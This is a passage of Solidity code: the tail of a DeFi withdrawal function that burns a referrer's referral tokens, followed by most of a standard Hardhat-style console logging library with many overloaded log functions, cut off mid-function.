totalFundsInUSDC.sub(_withdrawUSDCAmount); // Handle peakReferralToken address actualReferrer = peakReward.referrerOf(msg.sender); if (actualReferrer != address(0)) { uint256 balance = peakReferralToken.balanceOf(actualReferrer); uint256 burnReferralTokenAmount = shareAmount > balance ? balance : shareAmount; require( peakReferralToken.destroyTokens( actualReferrer, burnReferralTokenAmount ) ); } } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.8.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logByte(byte p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(byte)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { 